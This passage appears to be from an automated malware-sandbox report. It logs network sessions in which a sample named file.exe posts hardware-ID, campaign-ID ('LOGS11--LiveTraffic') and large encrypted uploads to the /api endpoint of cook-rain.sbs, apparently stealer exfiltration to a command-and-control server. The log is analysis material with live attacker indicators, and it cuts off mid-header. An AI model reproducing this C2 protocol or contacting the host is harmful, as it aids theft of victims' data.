{"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8e39ca9bcabc486b-DFW alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1064&sent=11&recv=23&lost=0&retrans=0&sent_bytes=2830&recv_bytes=19093&delivery_rate=2549295&cwnd=237&unsent_bytes=0&cid=7d13c8715a6ad887&ts=763&x=0"
2024-11-16 19:12:15 UTC	23	IN	Data Raw: 31 31 0d 0a 6f 6b 20 31 37 33 2e 32 35 34 2e 32 35 30 2e 36 39 0d 0a Data Ascii: 11ok 173.254.250.69
2024-11-16 19:12:15 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
3	192.168.2.4	49733	188.114.96.3	443	7412	C:\Users\user\Desktop\file.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-16 19:12:16 UTC	272	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=7MU68WSJTY9Q User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 8754 Host: cook-rain.sbs
2024-11-16 19:12:16 UTC	8754	OUT	Data Raw: 2d 2d 37 4d 55 36 38 57 53 4a 54 59 39 51 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 45 43 44 32 39 30 44 39 32 32 37 46 30 37 32 44 46 37 30 30 35 44 37 42 32 30 31 32 37 41 38 38 0d 0a 2d 2d 37 4d 55 36 38 57 53 4a 54 59 39 51 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 32 0d 0a 2d 2d 37 4d 55 36 38 57 53 4a 54 59 39 51 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 4c 4f 47 53 31 31 2d 2d 4c 69 76 65 54 72 61 66 66 69 63 0d 0a 2d 2d 37 4d 55 36 38 57 53 4a Data Ascii: --7MU68WSJTY9QContent-Disposition: form-data; name="hwid"ECD290D9227F072DF7005D7B20127A88--7MU68WSJTY9QContent-Disposition: form-data; name="pid"2--7MU68WSJTY9QContent-Disposition: form-data; name="lid"LOGS11--LiveTraffic--7MU68WSJ
2024-11-16 19:12:16 UTC	1005	IN	HTTP/1.1 200 OK Date: Sat, 16 Nov 2024 19:12:16 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=7r7iocfm1ag1nl1pkju1gon79b; expires=Wed, 12-Mar-2025 12:58:55 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=Fdh88b0Fv7RJGdKRhEY%2FBee3pRLqJp1i8qRewYhccqFfROjSTSDcpEk57oKHfdtReXULxxuGs6xQIJQNkIxa7utUs7kEL%2B%2FZXmyFBQp7guD2pENRDLwNghaZrleb7jmq"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8e39caa569bc2cbd-DFW alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1333&sent=7&recv=14&lost=0&retrans=0&sent_bytes=2829&recv_bytes=9684&delivery_rate=2120058&cwnd=240&unsent_bytes=0&cid=c7cf621182073251&ts=675&x=0"
2024-11-16 19:12:16 UTC	23	IN	Data Raw: 31 31 0d 0a 6f 6b 20 31 37 33 2e 32 35 34 2e 32 35 30 2e 36 39 0d 0a Data Ascii: 11ok 173.254.250.69
2024-11-16 19:12:16 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
4	192.168.2.4	49734	188.114.96.3	443	7412	C:\Users\user\Desktop\file.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-16 19:12:17 UTC	279	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=BDW20P13E6JR8E6SHA User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 20443 Host: cook-rain.sbs
2024-11-16 19:12:17 UTC	15331	OUT	Data Raw: 2d 2d 42 44 57 32 30 50 31 33 45 36 4a 52 38 45 36 53 48 41 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 45 43 44 32 39 30 44 39 32 32 37 46 30 37 32 44 46 37 30 30 35 44 37 42 32 30 31 32 37 41 38 38 0d 0a 2d 2d 42 44 57 32 30 50 31 33 45 36 4a 52 38 45 36 53 48 41 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 33 0d 0a 2d 2d 42 44 57 32 30 50 31 33 45 36 4a 52 38 45 36 53 48 41 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 4c 4f 47 53 31 31 2d 2d 4c 69 76 65 54 Data Ascii: --BDW20P13E6JR8E6SHAContent-Disposition: form-data; name="hwid"ECD290D9227F072DF7005D7B20127A88--BDW20P13E6JR8E6SHAContent-Disposition: form-data; name="pid"3--BDW20P13E6JR8E6SHAContent-Disposition: form-data; name="lid"LOGS11--LiveT
2024-11-16 19:12:17 UTC	5112	OUT	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 60 93 1b 88 82 85 4d 3f 0d 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 6c 72 83 51 b0 b0 e9 a7 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 4d 6e 20 0a 16 36 fd 34 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 b0 c9 0d 46 c1 c2 a6 9f 06 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 36 b9 81 28 58 d8 f4 d3 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 c0 26 37 18 05 0b 9b 7e 1a 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 d8 e4 06 a2 Data Ascii: `M?lrQMn 64F6(X&7~
2024-11-16 19:12:18 UTC	1007	IN	HTTP/1.1 200 OK Date: Sat, 16 Nov 2024 19:12:18 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=6eeuehd65msvkf5m4i2q7rc2l1; expires=Wed, 12-Mar-2025 12:58:57 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=sr95YEMI9iqftOscwKUmdIy5kWnkJaz197mpdPmXnKzFPwORo%2BZqw%2FUuqxPYaysupJkuyH3JBDxiuv1yCvGOHNKJAonJo%2BcBM5KCi60EvVrlTxmWFL9HTG2g1pOkRRFX"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8e39caafb8bd2c93-DFW alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1103&sent=13&recv=27&lost=0&retrans=0&sent_bytes=2829&recv_bytes=21402&delivery_rate=2625566&cwnd=251&unsent_bytes=0&cid=08cf724c78cdd233&ts=671&x=0"
2024-11-16 19:12:18 UTC	23	IN	Data Raw: 31 31 0d 0a 6f 6b 20 31 37 33 2e 32 35 34 2e 32 35 30 2e 36 39 0d 0a Data Ascii: 11ok 173.254.250.69
2024-11-16 19:12:18 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
5	192.168.2.4	49735	188.114.96.3	443	7412	C:\Users\user\Desktop\file.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-16 19:12:19 UTC	272	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=QWMVVHY87EGS User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 1235 Host: cook-rain.sbs
2024-11-16 19:12:19 UTC	1235	OUT	Data Raw: 2d 2d 51 57 4d 56 56 48 59 38 37 45 47 53 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 45 43 44 32 39 30 44 39 32 32 37 46 30 37 32 44 46 37 30 30 35 44 37 42 32 30 31 32 37 41 38 38 0d 0a 2d 2d 51 57 4d 56 56 48 59 38 37 45 47 53 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 31 0d 0a 2d 2d 51 57 4d 56 56 48 59 38 37 45 47 53 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 4c 4f 47 53 31 31 2d 2d 4c 69 76 65 54 72 61 66 66 69 63 0d 0a 2d 2d 51 57 4d 56 56 48 59 38 Data Ascii: --QWMVVHY87EGSContent-Disposition: form-data; name="hwid"ECD290D9227F072DF7005D7B20127A88--QWMVVHY87EGSContent-Disposition: form-data; name="pid"1--QWMVVHY87EGSContent-Disposition: form-data; name="lid"LOGS11--LiveTraffic--QWMVVHY8
2024-11-16 19:12:20 UTC	1003	IN	HTTP/1.1 200 OK Date: Sat, 16 Nov 2024 19:12:20 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=ni4uophg04rgfod8v9ad5mgqjn; expires=Wed, 12-Mar-2025 12:58:58 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=zMjt3AfQc6BaN2%2Buk3f3vjccUUigD%2BAiLfNcnl5Biui0b1dXTJq0HDCu7QtEV%2FMRLhh4Vvn5J15iCohT2WA4hOoURpFLJTFinh0w2jtAzxPv4O5p2u7WfYKGQrgon1xJ"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8e39caba8f2ee7cb-DFW alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1937&sent=5&recv=7&lost=0&retrans=0&sent_bytes=2828&recv_bytes=2143&delivery_rate=1503634&cwnd=32&unsent_bytes=0&cid=ddcb0873fbcb7656&ts=720&x=0"
2024-11-16 19:12:20 UTC	23	IN	Data Raw: 31 31 0d 0a 6f 6b 20 31 37 33 2e 32 35 34 2e 32 35 30 2e 36 39 0d 0a Data Ascii: 11ok 173.254.250.69
2024-11-16 19:12:20 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
6	192.168.2.4	49736	188.114.96.3	443	7412	C:\Users\user\Desktop\file.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-16 19:12:21 UTC	281	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=J0EMWG0O9I9VAKPIK6H User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 549260 Host: cook-rain.sbs
2024-11-16 19:12:21 UTC	15331	OUT	Data Raw: 2d 2d 4a 30 45 4d 57 47 30 4f 39 49 39 56 41 4b 50 49 4b 36 48 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 45 43 44 32 39 30 44 39 32 32 37 46 30 37 32 44 46 37 30 30 35 44 37 42 32 30 31 32 37 41 38 38 0d 0a 2d 2d 4a 30 45 4d 57 47 30 4f 39 49 39 56 41 4b 50 49 4b 36 48 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 31 0d 0a 2d 2d 4a 30 45 4d 57 47 30 4f 39 49 39 56 41 4b 50 49 4b 36 48 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 4c 4f 47 53 31 31 2d 2d 4c 69 Data Ascii: --J0EMWG0O9I9VAKPIK6HContent-Disposition: form-data; name="hwid"ECD290D9227F072DF7005D7B20127A88--J0EMWG0O9I9VAKPIK6HContent-Disposition: form-data; name="pid"1--J0EMWG0O9I9VAKPIK6HContent-Disposition: form-data; name="lid"LOGS11--Li
2024-11-16 19:12:21 UTC	15331	OUT	Data Raw: e4 93 f9 76 ba 1d 23 27 4a 71 37 56 1f 07 4f 4a 7e af 92 5c fc 38 52 2d db ff 53 9f aa 38 41 ec c9 56 57 80 d9 82 b3 5f 5b 8f 6a 7e 8a 6a ee c7 59 e2 a4 2d 4a 9e a3 f4 53 dd 4f a6 68 24 79 43 3b d8 53 da 8e d1 b1 22 7b d3 03 35 e8 8f 17 ea b6 87 8c 25 b2 9e a3 28 be 98 4b ba 4d 81 61 f9 dd 30 41 64 ea db e8 99 d1 1a 07 74 7d c1 69 f3 f8 5d de eb 83 a7 39 2a f8 5b a6 c6 8d 28 31 fb 1e d3 0c dc 0d 84 1d 28 b2 46 1c 32 eb 24 25 a6 55 28 b3 ed 75 0f 88 3b b8 ec ed c0 66 a9 95 ad c2 45 f4 4c ec e6 e9 3a ff 3f a5 19 75 75 66 98 00 36 91 86 bf a6 e0 3f b8 a9 89 06 e6 68 9a 01 f1 56 14 e4 7c 02 94 06 bc 80 60 1f 5e bf 44 1f fd 56 bf 90 22 68 51 44 85 b9 3b df f0 81 06 02 11 cb f9 f4 b6 14 18 7c 68 65 2c e3 00 e7 55 2e ff 11 3c d6 fd 63 fe c1 da 6d 61 01 d0 91 55 Data Ascii: v#'Jq7VOJ~\8R-S8AVW_[j~jY-JSOh$yC;S"{5%(KMa0Adt}i]9*[(1(F2$%U(u;fEL:?uuf6?hV\|`^DV"hQD;\|he,U.<cmaU
2024-11-16 19:12:21 UTC	15331	OUT	Data Raw: a5 fa f2 dd fc 2d e5 3d 95 a1 b2 27 c7 b3 46 5f d9 3a fd 22 ce e5 0b ba a4 8d 2c d8 25 f5 40 87 37 dd 6c e2 4b 68 70 08 2f 3e 95 d2 a6 b1 1e 42 c3 6e 72 60 58 02 56 24 2b 24 94 36 4e aa b5 28 a1 0c 73 a6 c2 22 8c fb 46 8d 0b 79 df d6 a4 7a 60 11 3b 62 07 1e 65 87 ba 7c df c8 e3 7b 89 fa 7d c2 41 b6 ab 57 13 d3 e5 3a ca 49 2c 61 2d d2 28 4a ff 8a 4b e9 f3 80 b1 f7 b4 fa 4b bc 17 f7 09 75 4e f2 5e 89 0c 22 78 90 cb 04 78 21 09 4c 69 a6 41 12 31 31 81 72 24 d0 6e d7 4b a1 da 54 f5 eb 69 91 d1 2f 93 fe 2c 43 ba dc 75 37 9e 92 a2 e0 0d 73 5a 2c e6 c3 8e 6c 6f 6c 41 37 3d 2a 3c 8a 4e dc 59 87 b9 1b 24 e2 1e c0 27 ea 12 2f 6d 13 e2 74 e2 08 5e 08 e2 7b 68 e4 36 26 54 89 b9 15 3b 85 fa c7 4b 91 94 c7 3f 53 da e0 8b d2 13 98 2c 4d 66 49 b0 97 f4 8c 26 14 8f 87 2b Data Ascii: -='F_:",%@7lKhp/>Bnr`XV$+$6N(s"Fyz`;be\|{}AW:I,a-(JKKuN^"xx!LiA11r$nKTi/,Cu7sZ,lolA7=*<NY$'/mt^{h6&T;K?S,MfI&+
2024-11-16 19:12:21 UTC	15331	OUT	Data Raw: 1f 04 f1 0c 89 61 58 79 df e4 a7 78 5d c7 e6 46 74 d2 3e 4d 2b 8b dc ff 89 1b 3d ee 48 94 a7 26 43 66 b8 a4 c4 d0 13 63 cc 5b ed 5d 55 06 46 06 b5 21 b3 bf 33 ee 32 02 36 e4 c8 1a 90 28 26 aa 07 7e db 6f 3c 10 f4 71 8c fd ce db 72 a4 d2 58 80 be bc 34 ad 25 77 7a 9d 3b 21 a6 38 22 b0 59 f0 39 6d be 3f bd bc ec a6 38 5d 3e 9d 98 1c ea b3 80 10 3b 0d d3 84 f4 f8 c0 d9 d3 64 f2 c9 b8 b9 5a 5b 38 96 75 10 9c 06 65 2c 9d 5c 95 2c 97 e3 5d 16 eb 3d 61 c2 7d 9b 1f e6 2f 46 3b b2 a5 a5 5b 5e f5 09 75 61 ee 1d a8 41 20 9a f0 31 c7 e6 4b 86 36 e1 5c eb 46 18 29 c1 f2 c9 8d d5 9a b2 f1 08 a5 9c b6 d5 5a 6d ea 8d 6f c4 8b 10 8e 77 41 b6 ff 9a 79 02 42 53 98 9a c7 d0 9e e6 06 aa 9e 59 d2 fe 17 33 2c 23 88 9f d8 3d f9 3e 98 ba 5e 27 85 83 64 93 ec 03 ae 8d 83 15 1f 06 Data Ascii: aXyx]Ft>M+=H&Cfc[]UF!326(&~o<qrX4%wz;!8"Y9m?8]>;dZ[8ue,\,]=a}/F;[^uaA 1K6\F)ZmowAyBSY3,#=>^'d
2024-11-16 19:12:21 UTC	15331	OUT	Data Raw: 11 7b ba 79 f8 c7 b6 e5 bf 6a 98 6e 53 9b ba ab 42 58 ff 02 cd fe e1 39 1e ee 49 7c 8d 3e 83 18 62 32 7b e6 8b 4e 8c 99 bf 99 a9 a2 63 46 21 e4 f2 bf b6 d7 82 88 39 f3 0e 31 34 d2 52 04 cc 9c d2 54 d6 18 8d e4 26 68 b7 54 7b fd dc 0c 33 10 f6 29 ba dd 9f 98 10 4f 17 da 42 b8 07 ab 67 58 a8 5c f3 f0 99 2a 0d 85 99 ce 73 74 53 86 c4 ed 8e 82 45 7b 94 06 36 30 68 6f f7 48 b6 81 2e c9 72 3d 7f 52 f2 9c 26 21 27 46 a8 ed 8f a9 d3 ae 26 48 eb 32 51 ea 8e a4 51 52 5b 5d ad 3d df 32 d8 c4 6d 49 ad df 38 26 a5 ce c9 97 c2 9c 23 d6 e7 15 10 99 b2 8a 92 0c 1f ee 90 14 50 d0 12 82 05 d1 88 ff b5 b1 51 2c f8 ed 4d dd 30 c7 dc e1 be 6f e3 bb 72 d6 9f d8 de e1 ea 23 18 1f f3 aa 3f d1 57 04 cf 69 a1 7d ef 52 78 39 ed f2 13 f4 c1 e3 81 97 77 61 be de 4c 14 35 4c 7f ff ff Data Ascii: {yjnSBX9I\|>b2{NcF!914RT&hT{3)OBgX\*stSE{60hoH.r=R&!'F&H2QQR[]=2mI8&#PQ,M0or#?Wi}Rx9waL5L
2024-11-16 19:12:21 UTC	15331	OUT	Data Raw: ac 83 72 e7 a3 d3 74 d8 37 a5 35 15 2f 6c b5 c9 96 7d 48 18 1c 6f f6 3e 6c f4 2c 2f 3a 10 45 32 32 8c 0c e6 65 79 46 7e 55 15 1b ba 20 55 7f d7 a1 84 83 43 2f aa d4 dc 35 7e 44 c2 06 48 6c f6 20 3e 28 aa d0 9b 0b da de 19 c3 d3 86 26 6b 71 00 c6 4e 69 c1 c5 dd d3 1b b8 14 7b b3 1f 10 11 f6 3f 9d e8 ae b0 3f f9 1a 7f 12 b2 60 8b 30 f0 14 3b d0 dd 30 3b a0 b5 c9 89 2a 3e 4b f2 21 e2 c0 11 be 85 54 15 bf c2 66 10 e4 1e 98 ef 3d be dc 3a 12 4f 12 4e 0b 6c 87 2a 26 05 41 5a 6f d9 00 67 7d f1 ed 06 e1 fb cc c0 76 bf 52 c8 fc 60 d0 72 36 2f 30 57 07 49 a1 d4 bb f6 e9 17 74 48 78 35 fc c7 ca 83 1a fc cd 97 d9 9f 45 93 43 8b e7 e8 46 fb 8b 34 df 37 0f 76 dd 41 a3 80 fd 6a 55 fd 49 78 2b 12 de d6 c1 f0 80 87 44 ca 27 04 94 b9 82 6e 3e 4c b2 32 30 8b b6 cf 9d f2 e5 Data Ascii: rt75/l}Ho>l,/:E22eyF~U UC/5~DHl >(&kqNi{??`0;0;>K!Tf=:ONl&AZog}vR`r6/0WItHx5ECF47vAjUIx+D'n>L20
2024-11-16 19:12:21 UTC	15331	OUT	Data Raw: 4d 28 ce 93 6c 6a 43 e1 a7 df f7 72 2b a6 ce ef 06 1f c5 cd ca 6c c0 a0 21 86 7f 23 e9 4e 62 f8 e1 31 5d 14 e3 5e a5 00 0e 44 c1 3e 43 af ab 75 46 ba 32 33 9b 8b a0 53 8e 78 61 57 e1 55 29 c2 55 c7 e8 bf 7d 24 19 98 80 78 d3 d0 bc 5f 44 53 e9 d8 c5 1a 37 63 54 5b f1 fb 7b 4a 59 09 3a 23 bc 4b 2f 12 09 b6 f7 c8 53 46 3e d8 1b a7 e5 18 09 d4 78 b8 f9 d3 1a 6e fc d7 78 9e 2f 6a 67 f1 a5 3e bb 06 d3 1c 8b 16 43 84 34 78 13 9c b0 80 3c b7 eb 79 7e 02 4c 20 db 6e dc a8 85 03 d5 38 59 5e 94 cf 87 a3 55 9d 68 1d 12 d7 2e 7d a5 ce af 5c 8c df 3b 74 b4 d8 92 ad 3a fb ce 22 df 15 04 08 28 95 01 e0 70 73 cb 5a 69 06 b3 6f 4e db 19 ae 2f be 7a 67 5d 3c f0 c9 d3 d9 67 a4 fe c1 78 16 89 37 37 22 13 c6 e5 55 dc bf b0 50 ea 9d b9 1a fd f8 f0 92 0d 57 60 cb 85 5a 9c ae d8 Data Ascii: M(ljCr+l!#Nb1]^D>CuF23SxaWU)U}$x_DS7cT[{JY:#K/SF>xnx/jg>C4x<y~L n8Y^Uh.}\;t:"(psZioN/zg]<gx77"UPW`Z
2024-11-16 19:12:21 UTC	15331	OUT	Data Raw: 67 fa 66 af 6c 8e 14 98 2b 07 44 4f eb 26 9d d6 1f 3b f9 33 cd 44 1a 10 0e 11 a9 90 e4 ea 60 ea cf 7d c9 47 21 32 3d f8 04 6e 89 3a 53 e5 50 c0 a6 7e 2d 78 04 7f c4 e2 4e 11 e2 c9 62 6e 57 5a 3c 05 60 82 17 12 f6 ec e7 3e 9e b1 60 2f 9d 39 c1 75 f2 8a f7 86 a3 03 f0 76 c6 8a 87 58 96 90 10 ae e6 6d 60 8c ec 55 24 62 04 1a 87 a6 1e 99 55 fc bf 0f 3a 27 ef 06 f9 45 23 fb ec d8 8c f8 37 f2 d2 7d f4 5a 35 b9 94 f0 5a 69 fb ca 29 86 12 ea d5 de fc 1b ae 80 9e 41 ef aa 66 d0 af e4 45 77 d3 f7 19 20 65 3d 6f 08 d1 2f 9c 91 80 29 ee b2 17 58 17 23 e1 48 1a 52 64 3f ba 5d f6 e6 ce 62 fe ff fb 24 6b be 09 d0 f2 86 66 be 83 7c 77 21 e6 31 24 bc a3 be f3 c8 79 d4 4f 61 f0 71 ce 19 0d 9f 97 3a f9 4a 0a 8b 1a 8f c0 2e 6c 2e d6 63 97 01 72 38 a9 cf 81 98 bd c0 3f 79 84 Data Ascii: gfl+DO&;3D`}G!2=n:SP~-xNbnWZ<`>`/9uvXm`U$bU:'E#7}Z5Zi)AfEw e=o/)X#HRd?]b$kf\|w!1$yOaq:J.l.cr8?y
2024-11-16 19:12:21 UTC	15331	OUT	Data Raw: c8 6f 84 b9 7f 76 31 e6 eb 67 d5 ff 61 5a 12 ac 38 9d 3b c0 96 2e 75 d4 e9 1d e3 c3 4f ae 7a 68 34 62 8f fd e0 22 39 8a cb b3 16 a8 90 dd 0a f7 af bd 8f a6 55 2e b9 7e 3f 48 d4 c6 9f 20 60 2d 89 2f 24 5c 7c 81 e4 f2 df 29 f2 5d 37 19 99 8e 97 12 72 9d 12 7c 6d 0f f4 ab 4d 09 9b c1 b1 4a 33 53 07 70 2d 25 12 c7 fd e8 24 c7 ca 1b a2 2b 91 07 58 af 55 14 52 6f 79 fa ac 0f a6 36 c3 21 09 e1 02 33 fb b0 75 f9 27 a6 f8 69 db 18 5f 40 ae a1 43 bc c3 eb cd a7 b1 31 be 07 23 bd c4 5e 6e 5e e9 23 49 77 60 e7 dd a7 12 d3 ad ef 99 1a e8 d8 ba a2 87 ee 16 9e db fe fb 17 4a 64 e9 dc 20 91 5d dd 4c 60 a7 96 f2 f2 85 3e a9 02 22 3d cd 77 cd 25 6d 32 24 5e 00 28 1e 78 03 68 d2 1e 65 0e 5b ba 12 33 52 4b b9 e3 2c 75 8d 91 cf 32 a2 6f 3e db b8 0a dd 28 89 a9 22 c5 22 30 56 Data Ascii: ov1gaZ8;.uOzh4b"9U.~?H `-/$\\|)]7r\|mMJ3Sp-%$+XURoy6!3u'i_@C1#^n^#Iw`Jd ]L`>"=w%m2$^(xhe[3RK,u2o>(""0V
2024-11-16 19:12:21 UTC	15331	OUT	Data Raw: aa 97 1e aa 6f ee 13 6d 8a f7 b7 65 b2 3f 7e 39 a4 76 fd 72 de 58 1f 69 a6 a4 75 7d aa bf b9 64 92 37 74 8e 7d cf df 44 91 cc 6c 36 41 45 6e 62 d5 d1 78 c5 6b 9f 49 c1 f5 eb d3 7c be 29 bb f7 97 ac 91 7f 27 ff 6f 9f 21 1e 9a 0d 4c 8c a6 ab 80 df 7c 15 3c 72 60 b2 d2 79 94 e7 8d 9f 1a ee 5c f6 f6 34 f9 12 1f 0d cf fa c7 9b 72 1e 5c 17 01 76 ef ce ff f9 cd b2 3d aa ec 0e 6c a7 87 72 fa 0d 7b 10 6d df e9 67 23 cf 7b 8f 35 69 00 83 76 da 5b a7 dd 1b a7 c6 7e 39 4c 83 8b 79 4f 67 3c 2a 0b 1f 89 9d b1 73 b7 be d6 b9 13 fa 5b 24 f5 c2 0e 18 f0 5e 12 53 ae 97 02 c6 44 d5 9e b2 8e 17 71 63 68 bf 8c 09 6e 27 ee 0d 84 7b 83 22 bc 02 69 33 59 0f c3 ef 4a ec 0a d2 95 fb 7e 50 57 9f fa ed 59 e0 31 83 67 8a 06 1f da ae 50 a9 df 1c d4 76 8a 52 62 06 f2 6e bd ee dc aa 22 Data Ascii: ome?~9vrXiu}d7t}Dl6AEnbxkI\|)'o!L\|<r`y\4r\v=lr{mg#{5iv[~9LyOg<*s[$^SDqchn'{"i3YJ~PWY1gPvRbn"
2024-11-16 19:12:31 UTC	1007	IN	HTTP/1.1 200 OK Date: Sat, 16 Nov 2024 19:12:31 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=54m7irfmgk36igp8tvpdtedfks; expires=Wed, 12-Mar-2025 12:59:03 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=xOrDLIFzVOfWYRTXkqIvxfGxIdLYqsZft31XamTIOq1e1CIvIqV237ODm58PMdoqqjh7UpRfqZ2Zur2x08oXkltS2m14bj4%2BpDAo3EZxyKO5sqAhuK2yE1VxSHXNbRi1"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8e39cac7c94d2e72-DFW alt-svc: h3=":443"; ma=86400 server-timing: 